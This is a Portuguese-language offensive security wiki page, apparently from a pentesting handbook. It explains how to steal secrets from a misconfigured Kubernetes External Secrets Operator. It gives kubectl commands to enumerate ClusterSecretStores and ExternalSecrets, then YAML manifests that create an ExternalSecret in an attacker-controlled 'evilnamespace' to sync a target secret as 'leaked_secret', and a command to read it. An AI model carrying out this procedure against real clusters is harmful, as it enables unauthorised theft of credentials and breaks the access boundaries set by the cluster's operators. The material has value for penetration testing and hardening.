External Secret Operator

Reading time: 3 minutes

O autor original desta página é Fares

Esta página fornece algumas dicas sobre como você pode conseguir roubar segredos de um ESO mal configurado ou de uma aplicação que usa ESO para sincronizar seus segredos.

Isenção de responsabilidade

A técnica mostrada abaixo só pode funcionar quando certas circunstâncias são atendidas. Por exemplo, depende dos requisitos necessários para permitir que um segredo seja sincronizado em um namespace que você possui / comprometeu. Você precisa descobrir isso por conta própria.

Pré-requisitos

  1. Um ponto de apoio em um cluster kubernetes / openshift com privilégios de administrador em um namespace
  2. Acesso de leitura em pelo menos ExternalSecret no nível do cluster
  3. Descubra se há algum rótulo / anotação ou associação a grupo necessária que permita que o ESO sincronize seu segredo. Se você tiver sorte, poderá roubar livremente qualquer segredo definido.

Coletando informações sobre o ClusterSecretStore existente

Assumindo que você tem um usuário que possui direitos suficientes para ler este recurso; comece listando os ClusterSecretStores existentes.

sh
kubectl get ClusterSecretStore

Enumeração de ExternalSecret

Vamos supor que você encontrou um ClusterSecretStore chamado mystore. Continue enumerando seu externalsecret associado.

sh
kubectl get externalsecret -A | grep mystore

Este recurso é escopado por namespace, então, a menos que você já saiba qual namespace procurar, adicione a opção -A para procurar em todos os namespaces.

Você deve obter uma lista de externalsecret definidos. Vamos supor que você encontrou um objeto externalsecret chamado mysecret definido e usado pelo namespace mynamespace. Reúna um pouco mais de informações sobre que tipo de segredo ele contém.

sh
kubectl get externalsecret myexternalsecret -n mynamespace -o yaml

Montando as peças

A partir daqui, você pode obter o nome de um ou vários nomes de segredos (como definido no recurso Secret). Você terá uma saída semelhante a:

yaml
kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...

Até agora, temos:

  • Nome de um ClusterSecretStore
  • Nome de um ExternalSecret
  • Nome do segredo

Agora que temos tudo o que precisamos, você pode criar um ExternalSecret (e eventualmente corrigir/criar um novo Namespace para atender aos pré-requisitos necessários para sincronizar seu novo segredo):

yaml
kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
yaml
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace

Após alguns minutos, se as condições de sincronização forem atendidas, você deverá conseguir visualizar o segredo vazado dentro do seu namespace.

sh
kubectl get secret leaked_secret -o yaml

Referências

Introduction - External Secrets Operator

GitHub - external-secrets/external-secrets: External Secrets Operator reads information from a third-party service like AWS Secrets Manager and automatically injects the values as Kubernetes Secrets.